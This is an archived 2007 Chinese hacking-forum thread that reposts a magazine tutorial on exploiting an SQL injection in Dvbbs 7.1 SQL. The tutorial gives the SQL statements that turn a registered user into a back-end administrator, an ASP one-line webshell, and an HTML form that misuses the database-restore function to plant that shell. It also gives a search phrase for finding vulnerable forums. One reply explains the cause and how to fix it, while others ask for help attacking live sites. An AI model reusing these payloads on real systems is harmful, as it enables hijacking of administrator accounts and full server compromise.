邪恶八进制信息安全团队技术讨论组's Archiver

hackest 2007-10-22 16:00

[原创]不为人知的动网7.1 SQL版注入漏洞

信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
文章作者:hackest [H.S.T]

文章难易度:★★★
文章阅读点:动网7.1 SQL版最新注入漏洞的详细利用以及如何在后台获取Webshell

此文章已发表在《黑客X档案》第10期杂志上
后由作者友情提交到邪恶八进制论坛,转载请注明出处!

话说上期X档案刊登了动网8.0 SQL版最新注入漏洞的文章,不知大家都掌握了没有,令人兴奋的是,没过几在就又暴出了另一个动网7.1 SQL版的最新注入漏洞,这个漏洞可以直接更改任意用户的密码或直接添加论坛管理员,危害相当严重!存在漏洞的文件为dv_dpo.asp,有兴趣的朋友可以自行阅读该文件的源代码并分析漏洞的形成原因。本文则主要介绍如何利用工具针对该漏洞进行入侵测试以及如何在动网7.1 SQL版后台获取Webshell。
我在动网官方网站下载了最新版本的动网7.1 SQL版,并在本机上搭建好了论坛,架设好测试环境。要寻找使用动网7.1的论坛可以在Google以“Powered By Dvbbs Version 7.1.0 Sp1”为关键字搜索,至于如何判断是不是SQL版,我也没有什么好办法,这就得靠自己测试了。下面开始测试,先来看看漏洞利用工具的庐山真面目吧,如图1。

[url=http://www.hackest.cn/images/22/1.jpg]图1[/url]

首先在目标论坛注册一个用户,然后登录。我注册的用户名和密码均为hackest,在MSSQL企业管理器里可以看到Dv_User表段存放的注册用户名(hackest)及密码的MD5(eee01c9ab7267f25),如图2。

[url=http://www.hackest.cn/images/22/2.jpg]图2[/url]

然后就可以使用工具来测试了,例如要修改普通用户hackest的登录密码,先在URL后面的框里填入目标论坛的访问地址([url]http://127.0.0.1/[/url]),username处填入注册用户的用户名(hackest),password处填入你要更改的密码(admin888),然后点击“修改密码”,在下面的空白框可以看到返回信息,如果看到最后面出现了“基本资料修改成功”,就说明已经成功更改指定用户的密码了,如图3。

[url=http://www.hackest.cn/images/22/3.jpg]图3[/url]

我们再到MSSQL企业管理器看看表段,是否真的更改了呢,结果如图4。用户hackest的密码MD5果然由原来的eee01c9ab7267f25成功的更改为了469e80d32c0559f8,漏洞测试成功!

[url=http://www.hackest.cn/images/22/4.jpg]图4[/url]

当然了,上边是更改普通用户的密码,在实际的入侵中是可以直接改掉管理员密码的。还可以直接添加一个管理员呢!首先还是需要注册一个用户,然后在“MSSQL语句”填入“前台管理员”后面的SQL语句,不过需要改一下用户名。比如要将普通用户hackest添加为前台管理员,可以填入“update [Dv_User] set UserGroupID=1 where username='hackest'”,语句的大致意思为更新用户名为hackest的UserGroupID为1(UserGroupID=1即为前台管理员)。然后点击“MSSQL_Exec”提交,在下面的空白框中的返回信息如果出现“登陆成功”则说明已成功将普通用户提升为前台管理员了。我们可以重新登录论坛,明显发现登录后多出了一项“管理”,普遍用户是看不到这一项的!再到MSSQL企业管理器里查看表段数据,发现用户hackest的UserGroupID已由原来的9变成了1(9即为普通用户,1为前台管理员)。提升为前台管理员之后还需要提升为后台管理员才可以进入管理后台。可以使用工具里的“加入后台”后面附带的SQL语句提升为管理员,我们在“MSSQL语句”里填入●insert into dv_admin (username,[password],flag,adduser) values ('hackest','469e80d32c0559f8','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37','hackest')●,其中的469e80d32c0559f8为后台登录密码(即admin888的MD5值)。然后点击“MSSQL_Exec”提交注入语句,返回信息与执行提升前台管理员的时候基本相同,如图5。

[url=http://www.hackest.cn/images/22/5.jpg]图5[/url]

我们再到MSSQL企业管理器看一下是否真的添加进去了,如图6。Dv_admin表段里原来只有admin这个默认管理员的,现在多了一个hackest的管理员,证明已经成功提升为后台管理员了!

[url=http://www.hackest.cn/images/22/6.jpg]图6[/url]

接着就是登录后台了,点击论坛页面的“管理”进入后台登录面面,如图7。没错吧,是“Dvbbs v7.1.0 SQL 版”哦!使用户名hackest,密码admin888成功登录进入后台,如图8。

[url=http://www.hackest.cn/images/22/7.jpg]图7[/url]

[url=http://www.hackest.cn/images/22/8.jpg]图8[/url]

进了后台当然就是获取Webshell了,在以前的杂志里似乎很少见到关于动网7.1 SQL版后台获得Webshell的文章,所以我就简单的提一下。我们使用恢复数据库的方法来拿Webshell,后台依次找到“论坛管理”—“版面(分类)添加|管理”—“高级设置”—“上传文件类型”,添加允许上传类型mdb,如图9。

[url=http://www.hackest.cn/images/22/9.jpg]图9[/url]

然后在前台发帖或编辑帖子来上传ASP一句话与空数据库合并的mdb文件(可以使用蓝鱼动网空数据库合并器合并),ASP一句话的代码为●<%if request("cmd")<>"" then execute request("cmd")%>●。上传后在帖子处是不可以直接看到路径的,要到后台里去找。在后台依次找到“文件管理”—“上传文件管理”—“开始搜索”,找到刚才上传的mdb文件,如图10。

[url=http://www.hackest.cn/images/22/10.jpg]图10[/url]

得知mdb文件的相对路径为UploadFile/2007-9/2007912123062511.mdb。将以下代码保存为HTML文件:

<form action="http://127.0.0.1/admin/data.asp?action=RestoreData&act=Restore" method="post">
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要复制到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p>
</form>

由于动网7.1 SQL版的后台是不可以直接恢复数据库的,所以要用这个HTML来调用执行恢复数据库操作。保存好后打开,在“已上传文件的位置”填入“../UploadFile/2007-9/2007912123062511.mdb”,在“要复制到的位置”填入“../UploadFile/2007-9/test.asp”(此处填需要导出的Webshell路径),然后点击“提交”,如图11。

[url=http://www.hackest.cn/images/22/11.jpg]图11[/url]

提交后返回“成功恢复数据!”,如图12。使用一句话木马的客户端连接[url]http://127.0.0.1/UploadFile/2007-9/shell.asp[/url],成功得到Webshell,如图13。

[url=http://www.hackest.cn/images/22/12.jpg]图12[/url]

[url=http://www.hackest.cn/images/22/13.jpg]图13[/url]

剩下的就教给各位自己去玩了。至此漏洞的详细利用和后台如何获取Webshell的方法就已经介绍完毕,如果有什么问题的话,欢迎到X官方论坛与我交流。

(文章中涉及到的工具动网7.1 SQL版注入漏洞利用工具、蓝鱼动网空数据库合并器、ASP+PHP两用Shell、HTML脚本、合并好的mdb文件已经收录在光盘中)

小编点评:
动网始终是“洞网”,上期刚暴了8.0 SQL版的致命漏洞,现在又来了7.1 SQL版的漏洞!漏洞的利用却都是如此之简单,轻松地利用工具就可以得到论坛的管理员权限,然后拿到Webshell,甚至危及到整个服务器的安全!动网7.1 SQL版在后台如何得到Webshell的方法在以前的杂志上似乎并没有怎么详细地介绍过,本文详细说明了漏洞的利用过程及动网7.1SQL版后台拿Webshell的具体方法,正好填补了这一空白。

asm 2007-10-26 01:12

all right,a world of pandemonlum must be harmony. i say nothing.goodnight.everyone.

achillis 2007-10-28 12:47

前不久用动易和动网,搞整合,才注意到这个漏洞的成因。
dv_dpo.asp是动网搞整合时的接口文件,通信密钥默认的是API_TEST.
这个是整合时不同系统间(动易和动网)通信用的。
dv_dpo.asp文件即使你不需要整合也存在的。
漏洞的成因好像是可以冒充动易(Oblog也可以和这两个程序整合)向该文件发送处理信息。
根据整合后数据的统一性,如果你在动易里改了密码,那么动网的密码也会改。
这个攻击程序就是利用了这一点,发送仿造的通信数据。

修补方法:
1。不需要整合的可以直接删除该文件。
2。已经整合的了,请修改接口文件中的通信密钥,不要使用默认的API_TEST.、


以上是个人看法。大家多指点。

nt_family 2007-10-31 17:25

大哥,试了几次,感觉不错。
有一个问题,为什么有时我合并出来的数据库,上传完成,恢复后,都是乱码,没有出现ASP马,试了好几个都是这样?

hackest 2007-11-1 15:44

是你合并的马有问题吧……

nt_family 2007-11-2 13:32

不知道是为什么,一句话就是不行,但小马可以。
合并试了两个方法,一个是你所说的蓝鱼动网空数据库合并器合并,
一个是copy,用copy合并的方法个人感觉好用点

unusual 2007-11-3 11:36

直接打开mdb在数据库里面写马就可以了

xuchenaxxx 2007-11-4 12:04

dv_dpo.asp貌似就是通过一个动易的程序来对动网操作的吧~
....晕 0DAY都是我送你的

圣堂骑士 2007-12-30 14:36

问下hackest兄~
第一次更新成功。第2次插库应该成功了。但是后台始终无法登陆
试了很多方法。后来把前台的管理员的密码也update到我的油箱。运气不错跑出md5。但是还是无法登陆
后来猜想是1.后台是假的 2.将dv_admin表改了。
后来想利用一句话解决问题。
我想问下能否用这个洞子。片列目录。因为我手动post。从返回数据来看只要语法没错。是无法暴的,他都会显示200。成功执行。试了几个方法片列。都是返回正确。
想问问兄台有什么办法突破吗?搞到跟目录
小弟谢过了~

页: [1]
© 1999-2008 EvilOctal Security Team